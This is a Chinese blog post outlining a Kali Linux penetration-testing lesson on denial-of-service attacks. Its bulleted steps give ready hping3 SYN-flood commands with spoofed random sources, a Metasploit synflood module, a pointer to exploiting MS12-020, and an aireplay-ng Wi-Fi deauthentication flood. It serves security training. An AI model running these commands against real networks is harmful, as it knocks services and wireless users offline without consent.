2015年（25）
分类： 网络与安全
2015-07-26 18:08:07
文/玄魂
目录
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击...................... 1
DoS............................................................................................................... 2
DDoS............................................................................................................... 2
yersinia........................................................................................................... 3
hping3............................................................................................................ 4
利用系统漏洞进行拒绝服务攻击............................................................... 5
使用metasploit进行synflood攻击............................................................. 5
无线网络DoS................................................................................................ 5
Flood系列工具.............................................................................................. 6
视频教程地址：
l 拒绝服务攻击即攻击者想办法让目标停止提供服务
l 1.消耗带宽，cpu，内存资源（各种洪水攻击）
l 3.延长响应时间
l 4.利用服务漏洞，攻陷服务
l 5.IP欺骗
l
l Yersinia是一款底层协议攻击入侵检测工具。它能实施针对多种协议的多种攻击。例如夺取生成树的根角色（生成树协议：Spanning Tree Protocol），生成虚拟CDP（Cisco发现协议：Cisco Discovery Protocol）邻居、在一个HSRP（热等待路由协议：Hot Standby Router Protocol）环境中虚拟成一个活动的路由器、制造假DHCP反馈，以及其它底层攻击。
l yersinia -G
l Hping是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是Hping3，支持使用tcl脚本自动化地调用其API。Hping是安全审计、防火墙测试等工作的标配工具。
l Hping优势在于能够定制数据包的各个部分，因此用户可以灵活对目标机进行细致地探测。
l 使用手册：
l hping3 -S --flood -V
l hping3 -S -P -U --flood -V --rand-source
l hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source
l 示例：
l 扫描开发445 或者3389的机器
l 利用ms12-020漏洞
l 使用metasploit进行攻击
l use auxiliary/dos/tcp/synflood
l 1. iwconfig
l airmon-ng start wlan0
l airodump-ng mon0
l Connect to the Access Point
l aireplay-ng --deauth 1000 -a 00:09:5B:6F:64:1E-h 44:6D:57:C8:58:A0 mon0
ps：对此文章感兴趣的读者，可以加qq群：Hacking:303242737;Hacking-2群：147098303；Hacking-3群：31371755；hacking-4群:201891680;Hacking-5群：316885176
